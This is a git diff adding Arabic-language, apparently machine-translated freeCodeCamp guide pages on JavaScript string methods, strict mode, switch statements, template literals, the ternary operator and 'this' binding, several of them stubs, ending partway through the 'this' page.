diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-search/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-search/index.md
new file mode 100644
index 0000000000..076d3c064f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-search/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.search
+localeTitle: String.prototype.search
+---
+## String.prototype.search
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-search/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-slice/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-slice/index.md
new file mode 100644
index 0000000000..a43dc56c54
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-slice/index.md
@@ -0,0 +1,46 @@
+---
+title: String.prototype.slice
+localeTitle: String.prototype.slice
+---
+`.slice()` الأسلوب سلسلة JavaScript `.slice()` جزء من سلسلة وإرجاع سلسلة جديدة.
+
+## بناء الجملة
+
+ `str.slice(beginSliceIndex [, endSliceIndex]); 
+` 
+
+## المعلمات
+
+**beginSliceIndex**
+
+مؤشر الصفر القائم حيث يجب أن تبدأ الشريحة. إذا كان startSliceIndex عبارة عن رقم سالب ، فإن `.slice()` تعول إلى الخلف من نهاية السلسلة لتحديد مكان بدء الشريحة.
+
+**endSliceIndex**
+
+اختياري. فهرس يستند إلى الصفر حيث يجب أن تنتهي الشريحة. إذا تم حذفها ، `.slice()` استخراج `.slice()` إلى نهاية السلسلة.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
+
+## وصف
+
+`.slice()` النص خارج سلسلة واحدة ويعيد سلسلة جديدة.
+
+## أمثلة
+
+**باستخدام `.slice()` لإنشاء سلسلة جديدة**
+
+ `var string1 = "Hello World!"; 
+ var string2 = string1.slice(3); 
+ console.log(string2);                           // Will log "lo World!" 
+ 
+ var string3 = string1.slice(3, 7); 
+ console.log(string3);                           // Will log "lo W" 
+` 
+
+**باستخدام `.slice()` مع مؤشرات سلبية**
+
+ `var string = "Hello World!" 
+ str.slice(-3);                                  // Returns "ld!" 
+ str.slice(-3, -1);                              // Returns "ld" 
+ str.slice(0, -1);                               // Returns "Hello World" 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-split/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-split/index.md
new file mode 100644
index 0000000000..5d9a8a774e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-split/index.md
@@ -0,0 +1,38 @@
+---
+title: String.prototype.split
+localeTitle: String.prototype.split
+---
+## String.prototype.split
+
+تقوم الدالة `split()` بفصل السلسلة الأصلية إلى سلاسل فرعية ، استنادًا إلى _سلسلة فاصلة_ تمررها كمدخل.
+
+إن ناتج الدالة `split()` هو `Array` من السلاسل ، التي تمثل الأجزاء الفرعية المنفصلة عن السلسلة الأصلية.
+
+لا يتم تبديل السلسلة الأصلية بواسطة الدالة `split()` .
+
+أمثلة:
+
+ `// We have a regular string 
+ "Hello. I am a string. You can separate me." 
+ 
+ // Let's use the split function to separate the string by the period character: 
+ "Hello. I am a string. You can separate me.".split("."); 
+ // output is [ "Hello", " I am a string", " You can separate me", "" ] 
+` 
+
+بما أننا استخدمنا النقطة ( `.` ) _كسلسلة فاصلة_ ، فإن السلاسل في صفيف الخرج لا تحتوي على الفترة الموجودة فيها ؛ _لا تتضمن_ سلاسل فصل الإخراج _سلسلة سلسلة فاصل الإدخال نفسه_ .
+
+ليس من الضروري أن يكون _فاصل السلسلة_ حرفًا واحدًا ، يمكن أن يكون أي سلسلة أخرى:
+
+ `"Hello... I am another string... keep on learning!".split("..."); 
+ // output is [ "Hello", " I am another string", " keep on learning!" ] 
+ 
+ const names = "Kratos- Atreus- Freya- Hela- Thor- Odin"; 
+ // notice separator is a dash and a space 
+ names.split("- "); 
+ // output is [ "Kratos", "Atreus", "Freya", "Hela", "Thor", "Odin" ] 
+` 
+
+#### معلومات اكثر:
+
+*   [String.prototype.split على MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-startswith/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-startswith/index.md
new file mode 100644
index 0000000000..9ba9186e43
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-startswith/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.startsWith
+localeTitle: String.prototype.startsWith
+---
+## String.prototype.startsWith
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-startswith/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-substr/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-substr/index.md
new file mode 100644
index 0000000000..6821608d2b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-substr/index.md
@@ -0,0 +1,31 @@
+---
+title: String.prototype.substr
+localeTitle: String.prototype.substr
+---
+## String.prototype.substr
+
+تقوم طريقة substr () باستخلاص أجزاء من سلسلة ، تبدأ بالحرف في الموضع المحدد ، وتقوم بإرجاع عدد الأحرف المحدد.
+
+#### بناء الجملة
+
+ `  string.substr(start, length); 
+` 
+
+#### قيمه المعامل
+
+| المعلمة | الوصف | | : ------------- | : ------------- | | تبدأ **مطلوب.** الموقف من أين تبدأ الاستخراج. أول حرف في الفهرس 0. إذا كانت _البداية_ موجبة وأكبر من أو تساوي طول السلسلة ، فسوف تقوم substr () بإرجاع سلسلة فارغة. إذا كانت _البداية_ سالبة ، فإن substr () تستخدمها كمؤشر حرف من نهاية السلسلة. إذا كانت _البداية_ سالبة أو أكبر من طول السلسلة ، فسيتم تعيين البداية إلى 0 | | الطول **اختياري** . عدد الحروف المراد استخراجها. إذا تم حذفه ، فإنه يستخرج باقي السلسلة |
+
+#### أمثلة:
+
+ `let str = "Hello world!"; 
+ let res = str.substr(1, 4); 
+` 
+
+ستكون نتيجة الدقة:
+
+ `ello 
+` 
+
+#### معلومات اكثر:
+
+[جافا سكريبت سلسلة substr () طريقة](https://www.w3schools.com/jsref/jsref_substr.asp) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-substring/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-substring/index.md
new file mode 100644
index 0000000000..30c9c79132
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-substring/index.md
@@ -0,0 +1,28 @@
+---
+title: String.prototype.substring
+localeTitle: String.prototype.substring
+---
+## String.prototype.substring
+
+تقوم الدالة `substring()` _باستخلاص_ تسلسل من الأحرف من سلسلة معينة أخرى. لا يغير السلسلة الأصلية.
+
+يمكنك تحديد التسلسل لاستخراج مع _فهرس حرف البداية والنهاية_ . يتم تمرير هذه الفهارس في الدالة `substring()` كمعلمات. يتم تشكيل سلسلة فرعية من حرف مؤشر البداية على طول الطريق إلى شخصية مؤشر نهاية. يتم حساب كل من الفهارس من بداية السلسلة ، بدءًا من `0` .
+
+أمثلة:
+
+ `"Hello, campers".substring(7, 14); 
+ // output is "campers" 
+ 
+ "Hello, world".substring(0, 5); 
+ // output is "Hello" 
+` 
+
+يمكنك أيضًا حذف معلمة فهرس الأحرف الأخيرة ، وسيتم استخراج التسلسل الفرعي من فهرس البدء حتى نهاية السلسلة. مثال:
+
+ `"Hello, campers!".substring(7); 
+ // output is "campers!" 
+` 
+
+#### معلومات اكثر:
+
+*   [String.prototype.substring () على MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/substring)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md
new file mode 100644
index 0000000000..1f2d8f5395
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toLocaleLowerCase
+localeTitle: String.prototype.toLocaleLowerCase
+---
+## String.prototype.toLocaleLowerCase
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tolocalelowercase/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md
new file mode 100644
index 0000000000..8db9c5af25
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toLocaleUpperCase
+localeTitle: String.prototype.toLocaleUpperCase
+---
+## String.prototype.toLocaleUpperCase
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tolocaleuppercase/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolowercase/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolowercase/index.md
new file mode 100644
index 0000000000..7428323e97
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tolowercase/index.md
@@ -0,0 +1,23 @@
+---
+title: String.prototype.toLowerCase
+localeTitle: String.prototype.toLowerCase
+---
+ستقوم طريقة مصفوفة JavaScript `.toLowerCase()` بإرجاع قيمة السلسلة المحولة إلى `.toLowerCase()` صغيرة. لا يتم تغيير السلسلة الأصلية.
+
+**بناء الجملة**
+
+ `  string.toLowerCase() 
+` 
+
+## أمثلة
+
+ `  var shout = "I AM SHOUTING VERY LOUDLY" 
+  var whisper = shout.toLowerCase() 
+ 
+  console.log(shout) // will return "I AM SHOUTING VERY LOUDLY" 
+  console.log(whisper) // will return "i am shouting very loudly" 
+` 
+
+#### معلومات اكثر:
+
+المصدر: [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toLowerCase)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tostring/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tostring/index.md
new file mode 100644
index 0000000000..7aae58c1ee
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.toString
+localeTitle: String.prototype.toString
+---
+## String.prototype.toString
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-tostring/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-touppercase/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-touppercase/index.md
new file mode 100644
index 0000000000..6282f49c9e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-touppercase/index.md
@@ -0,0 +1,17 @@
+---
+title: String.prototype.toUpperCase
+localeTitle: String.prototype.toUpperCase
+---
+ترجع طريقة JavaScript `.toUpperCase()` نفس السلسلة التي تم استدعاؤها ، ولكن في كل الحالة العليا.
+
+**بناء الجملة**
+
+ `str.toUpperCase() 
+` 
+
+## أمثلة
+
+ `console.log("hello world".toUpperCase()); // Console will output "HELLO WORLD" 
+` 
+
+مصدر [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trim/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trim/index.md
new file mode 100644
index 0000000000..5daf78e4f6
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trim/index.md
@@ -0,0 +1,21 @@
+---
+title: String.prototype.trim
+localeTitle: String.prototype.trim
+---
+## String.prototype.trim
+
+تقوم الدالة `trim()` بإزالة أية أحرف بيضاء من كل من بداية ونهاية سلسلة معينة. لا يقوم بتعديل السلسلة الأصلية؛ انها تنتج واحدة جديدة.
+
+أمثلة:
+
+ `"  Hello, campers. I have spaces on both ends!  ".trim(); 
+ // output is "Hello, campers. I have spaces on both ends!" 
+` 
+
+`trim()` لا يزيل فقط أحرف الفضاء. يزيل أي حرف مسافة بيضاء ، مثل علامات التبويب ، فواصل الأسطر ، فواصل عدم الانكسار ، إلخ.
+
+وهذا مفيد ، على سبيل المثال ، عندما تريد معالجة إدخال نص من مستخدم وقد يكون قد أرسل سلسلة تحتوي على مسافات في النهاية قد لا تريدها.
+
+#### معلومات اكثر:
+
+*   [String.prototype.trim () على MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/Trim)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trimleft/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trimleft/index.md
new file mode 100644
index 0000000000..b45ab76596
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trimleft/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.trimLeft
+localeTitle: String.prototype.trimLeft
+---
+## String.prototype.trimLeft
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-trimleft/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trimright/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trimright/index.md
new file mode 100644
index 0000000000..0b04ee2e26
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-trimright/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.trimright
+localeTitle: String.prototype.trimright
+---
+## String.prototype.trimright
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-trimright/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-valueof/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-valueof/index.md
new file mode 100644
index 0000000000..675bd04d08
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: String.prototype.valueOf
+localeTitle: String.prototype.valueOf
+---
+## String.prototype.valueOf
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-prototype-valueof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/string/string-raw/index.md b/client/src/guide/arabic/javascript/standard-objects/string/string-raw/index.md
new file mode 100644
index 0000000000..2201b75150
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/string/string-raw/index.md
@@ -0,0 +1,11 @@
+---
+title: String Raw
+localeTitle: سلسلة الخام
+---
+## سلسلة الخام
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/string/string-raw/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/strict-mode/index.md b/client/src/guide/arabic/javascript/strict-mode/index.md
new file mode 100644
index 0000000000..ad2e036e11
--- /dev/null
+++ b/client/src/guide/arabic/javascript/strict-mode/index.md
@@ -0,0 +1,53 @@
+---
+title: Strict Mode
+localeTitle: الوضع الصارم
+---
+تم تقديم الوضع الصارم في ECMAScript 5 والذي يسمح لك بوضع برنامج أو وظيفة في سياق تشغيل "صارم". هذا السياق الصارم يمنع اتخاذ إجراءات معينة ويلقي المزيد من الاستثناءات.
+
+يجعل الوضع المقيد العديد من التغييرات على دلالات JavaScript السليمة.
+
+*   أولاً ، يحذف الوضع المقيد بعض أخطاء جافا سكريبت الصامتة عن طريق تغييرها لرمي الأخطاء.
+*   ثانيًا ، يعمل الوضع المتشدد على إصلاح الأخطاء التي تجعل من الصعب على محركات جافا سكريبت إجراء عمليات التحسين: يمكن أحيانًا جعل رمز الوضع الصارم يتم تشغيله بشكل أسرع من الشفرة المتطابقة التي لا تتسم بوضعًا صارمًا.
+*   ثالثًا ، يحظر الأسلوب المقيد بعض الجمل التي من المحتمل أن يتم تعريفها في الإصدارات المستقبلية من ECMAScript.
+
+يمكن أن تتعايش شفرة الأسلوب الصارم ورمز الوضع غير المقيد في نفس البرنامج النصي.
+
+ `// Non-strict code... 
+ 
+ (function(){ 
+    "use strict"; 
+ 
+    // Define your library strictly... 
+ })(); 
+ 
+ // Non-strict code... 
+` 
+
+## استدعاء وضع صارم
+
+ينطبق الوضع الصارم على _النصوص الكاملة_ أو على _الوظائف الفردية_ .
+
+**وضع صارم للنصوص**
+
+ `// Whole-script strict mode syntax 
+ 
+ "use strict"; 
+ var v = "Hi!  I'm a strict mode script!"; 
+` 
+
+**وضع صارم للوظائف**
+
+ `function strict(){ 
+    // Function-level strict mode syntax 
+ 
+    'use strict'; 
+    function nested() { return "And so am I!"; } 
+    return "Hi!  I'm a strict mode function!  " + nested(); 
+ } 
+ 
+ function notStrict() { return "I'm not strict."; } 
+` 
+
+**في الأساس ، يساعدك على ارتكاب أخطاء أقل ، من خلال اكتشاف الأشياء التي قد تؤدي إلى حدوث كسر والتي لا يتم اكتشافها بشكل طبيعي (الوضع غير الصارم).**
+
+_لمزيد من المعلومات ، راجع [صفحة MDN](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Strict_mode) هذه._
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/switch-statements/index.md b/client/src/guide/arabic/javascript/switch-statements/index.md
new file mode 100644
index 0000000000..7c1b3f2330
--- /dev/null
+++ b/client/src/guide/arabic/javascript/switch-statements/index.md
@@ -0,0 +1,95 @@
+---
+title: Switch Statements
+localeTitle: تبديل العبارات
+---
+## تبديل العبارات
+
+يشبه بيان `switch` في البرمجة عبارة `if-else` ، ولكنه يستفيد أحيانًا من سهولة القراءة عند وجود الكثير من الشروط. كما أنه يسمح بإضافة كتلة `default` سيتم تنفيذها في حالة عدم تحقق أي من الشروط الأخرى.
+
+### بناء الجملة:
+
+ `switch(expression) { 
+  case 1: 
+    console.log('1'); 
+    break; 
+   case 2: 
+     console.log('2'); 
+     break; 
+   default: 
+     console.log('No true condition, default'); 
+ } 
+` 
+
+يظهر المقتطف أعلاه بناء الجملة لبيان `switch` أساسي. في هذا المثال ، هناك 3 سيناريوهات مختلفة لـ:
+
+*   `expression = 1` : الشرط الأول صحيح ، ويتم طباعة `1` إلى وحدة التحكم.
+*   `expression = 2` : الشرط الثاني صحيح ، ويتم طباعة `2` إلى وحدة التحكم.
+*   `expression = 'anything else'` : Case 1 and Case 2 كلاهما false ، لذا يتم تنفيذ الشرط الافتراضي.
+
+الشرط `default` هو الشرط الذي سيتم تنفيذه إذا لم يكن أي من الحالات الأخرى صحيحًا.
+
+ملاحظة: هناك نقطة مهمة يجب ملاحظتها هنا وهي أنه في المقتطف أعلاه ، قد يبدو أن `case 1:` `case 2:` تمثل نوعًا من الترتيب ، ولكن `1` و `2` لا يمثلان سوى الإجابات التي قد يتم تقييمها `(expression)` . لذلك ، بدلاً من 1 و 2 ، يمكن أن يكون أي شيء يمكن لـ `(expression)` تقييمه ويمكن اختباره.
+
+فمثلا:
+
+ `var someValue; 
+ var expression = someValue; 
+ switch(expression){ 
+  case someValue: 
+    console.log('10'); // 10 would be printed to the console 
+    break; 
+  case 23: 
+    console.log('12'); 
+    break; 
+  default: 
+    console.log('No matches'); 
+ } 
+` 
+
+ملاحظة: يمكن أن يكون `expression` في المقتطف أعلاه عبارة عن سلسلة أو رقم.
+
+### استراحة
+
+مطلوب الكلمة الأساسية `break` في كل حالة للتأكد من أن يتم تنفيذ التعليمات البرمجية فقط في هذه الحالة. بدون الفاصل ، يمكن تنفيذ عدة حالات. عندما تصل JavaScript إلى كلمة رئيسية `break` ، فإنها `break` عن كتلة المحول. إذا تم ترك `break` خارج المثال أعلاه ، فهذا ما سيحدث:
+
+ `var expression = 1; 
+ switch(expression) { 
+  case 1: 
+    console.log('1');  // 1 would be printed to console 
+  case 2: // As there is no break after case 1, this case is also executed. 
+    console.log('2'); // 2 would be printed to the console. 
+    break; // break -> Switch statement is exited 
+  default: 
+    console.log('No true condition, default'); 
+ } 
+` 
+
+### تنفيذ حالات متعددة:
+
+كما تسمح `switch` لنفس كتلة التعليمات البرمجية يتم تنفيذها بواسطة حالات متعددة. يمكن القيام بذلك عن طريق إضافة `case :` واحدة أو أكثر `case :` الكلمات الأساسية قبل كتلة التعليمات البرمجية.
+
+على سبيل المثال:
+
+ `switch (day) { 
+  case 4: 
+  case 5: 
+    console.log('it is nearly the weekend'); 
+    break; 
+  case 0: 
+  case 6: 
+    console.log('it is the weekend'); 
+    break; 
+  default: 
+    console.log('Looking forward to the Weekend'); 
+ } 
+` 
+
+في المقتطف أعلاه:
+
+*   إذا كان `day` هو `4` أو `5` (الخميس أو الجمعة) ، فسيتم طباعة `it is nearly the weekend` إلى وحدة التحكم حيث يتم تنفيذ الحالة الأولى.
+*   إذا كان `day` هو `0` أو `6` ، (السبت أو الأحد) ، سيتم طباعة `it is the weekend` إلى وحدة التحكم كما يتم تنفيذ الحالة الثانية.
+*   إذا كان `day` هو أي قيمة أخرى ، فستتم طباعة `Looking forward to the Weekend` إلى وحدة التحكم ، حيث يتم تنفيذ الحالة الافتراضية.
+
+### معلومات اكثر:
+
+[وثائق MDN للتبديل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/template-literals/index.md b/client/src/guide/arabic/javascript/template-literals/index.md
new file mode 100644
index 0000000000..079a445aad
--- /dev/null
+++ b/client/src/guide/arabic/javascript/template-literals/index.md
@@ -0,0 +1,27 @@
+---
+title: Template Literals
+localeTitle: قالب حرفية
+---
+Template Literals هي ميزة ES6 تستخدم charter backtick لتعريف قيمة سلسلة
+
+### التركيب الأساسي
+
+فيما يلي مثال أساسي على قالب حرفية:
+
+ ``// ES5 syntax 
+ var es5String = "ES5 String" 
+ var es5StringWithVariable = "ES5 String with a " + variable + "..." 
+ 
+ // ES6 template literal 
+ const tempLit = `Simple string` 
+ 
+ // ES6 template literal with variable 
+ let tempLitWithVariables = `Simple string with a ${variable}...` 
+ 
+ // ES6 multiple line template literal 
+ const multiLineString = ` 
+  Multiple 
+  Lines 
+  Allowed 
+ ` 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/ternary-operator/index.md b/client/src/guide/arabic/javascript/ternary-operator/index.md
new file mode 100644
index 0000000000..69045b3ab0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/ternary-operator/index.md
@@ -0,0 +1,57 @@
+---
+title: Ternary Operator
+localeTitle: مشغل ثلاثي
+---
+يستبدل مشغل Ternary كتلة `if` / `else` بتنسيق مكثف. ما يلي هو الشكل العام للمشغل الثلاثي.
+
+ `condition ? expr1 : expr2 
+` 
+
+## وصف
+
+إذا كان الشرط صحيحاً ، يقوم المشغل بحل قيمة expr1 ؛ خلاف ذلك ، فإنه يحل قيمة expr2.
+
+على سبيل المثال ، لعرض رسالة مختلفة بناءً على قيمة متغير isMember ، يمكنك استخدام هذا البيان:
+
+ `let isMember = true; 
+ 
+ let message = isMember ? 'Welcome Back!' : 'You need to login'; // 'Welcome Back' 
+` 
+
+ومن الطرق المفيدة الأخرى لاستخدام المشغل الثلاثي هو حثه على تنفيذ وظيفة أو طريقة بشكل مشروط
+
+ `    function memberOpen(){ 
+        console.log("open"); 
+    } 
+ 
+    function memberClose(){ 
+        console.log("close"); 
+    } 
+ 
+    let isMember = true; 
+ 
+    (isMember) ? memberOpen() : memberClose(); 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/M8Ge/1)
+
+## وظائف التشغيل مع المشغل الثلاثي
+
+من الممكن أيضًا تشغيل الوظائف باستخدام مشغل الثلاثي ، والذي قد يكون مفيدًا وقابلًا للقراءة في بعض الأحيان. ومع ذلك ، استخدمه بعناية ، لأنه من الصعب تصحيحه.
+
+ `    const runFirst = true; 
+    runFirst ? first() : second(); 
+` 
+
+## تسلسل باستخدام مشغل الثلاثي
+
+يمكنك أيضًا ربط مشغل ثلاثي إلى أجل غير مسمى ، بطريقة مماثلة لاستخدام `else if's` قبل آخر غيره من كتلة `if` / `else` . في كل مرة يتم استخدام القولون لتوضيح الجزء الآخر من المشغل الثلاثي ، يمكن تحديد حالة جديدة حتى يتم استخدام شرط الإنهاء النهائي.
+
+ `    function displayNum(num) { 
+     return  num === 3 ? 'number is 3' : num === 2 ? 'number is 2' : num === 1 ? 'number is 1 ' : 'number is not in range'; 
+    } 
+` 
+
+هذه الطريقة تحتاج إلى استخدامها في الأماكن الصحيحة ولكن ، كما هو الحال مع عدة `else if's` يمكن أن يؤدي في بعض الأحيان إلى قراءة المزيد من التعليمات البرمجية باستخدام عبارة التبديل.
+
+**اقرأ المزيد:** [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/this-reference/index.md b/client/src/guide/arabic/javascript/this-reference/index.md
new file mode 100644
index 0000000000..3ab34b9440
--- /dev/null
+++ b/client/src/guide/arabic/javascript/this-reference/index.md
@@ -0,0 +1,168 @@
+---
+title: this reference
+localeTitle: هذا المرجع
+---
+## `this` المرجع
+
+في JavaScript ، تحتوي كل وظيفة على `this` المرجع الذي تم إنشاؤه تلقائيًا عندما تعلنه. يشبه `this` المرجع تمامًا `this` المرجع في اللغات الأخرى القائمة على الفصل مثل Java أو C # (جافا سكريبت هي لغة مبنية على النموذج وليس مفهوم "class"): _يشير إلى الكائن الذي يستدعي الوظيفة_ (هذا الكائن أحيانًا يسمى _السياق_ ). في JavaScript ، ومع ذلك ، _يمكن ربط `this` المرجع داخل الوظائف بكائنات مختلفة اعتمادًا على مكان استدعاء الدالة_ . فيما يلي 5 قواعد أساسية `this` الربط في JavaScript:
+
+### المادة 1
+
+عندما يتم استدعاء دالة في النطاق العمومي ، يكون `this` المرجع بشكل افتراضي مرتبطًا **بالعنصر العام** ( `window` في المستعرض ، أو `global` في Node.js). فمثلا:
+
+ `function foo() { 
+  this.a = 2; 
+ } 
+ 
+ foo(); 
+ console.log(a); // 2 
+` 
+
+ملاحظة: إذا قمت بالإعلان عن الدالة `foo()` أعلاه في الوضع المقيد ، فإنك تقوم باستدعاء هذه الوظيفة في النطاق العالمي ، فسيكون `this` `undefined` `this.a = 2` التعيين هذا. `this.a = 2` إلى `this.a = 2` استثناء `Uncaught TypeError` .
+
+### القاعدة 2
+
+دعونا نفحص المثال أدناه:
+
+ `function foo() { 
+  this.a = 2; 
+ } 
+ 
+ var obj = { 
+  foo: foo 
+ }; 
+ 
+ obj.foo(); 
+ console.log(obj.a); // 2 
+` 
+
+بوضوح ، في المقتطف أعلاه ، يتم استدعاء الدالة `foo()` مع _السياق_ هو كائن `obj` `this` الإشارة مرتبطة الآن بـ `obj` . لذلك عندما يتم استدعاء دالة مع كائن سياق ، سيكون `this` المرجع مرتبطًا بهذا الكائن.
+
+### القاعدة 3
+
+`.call` ، `.apply` و `.bind` يمكن لجميع استخدامها في موقع الدعوة إلى ربط صراحة `this` . باستخدام `.bind(this)` هو شيء قد تراه في الكثير من مكونات React.
+
+ `var foo = function() { 
+  console.log(this.bar) 
+ } 
+ 
+ foo.call({ bar: 1 }) // 1 
+` 
+
+في ما يلي مثال سريع عن كيفية استخدام كل منها لربط `this` :
+
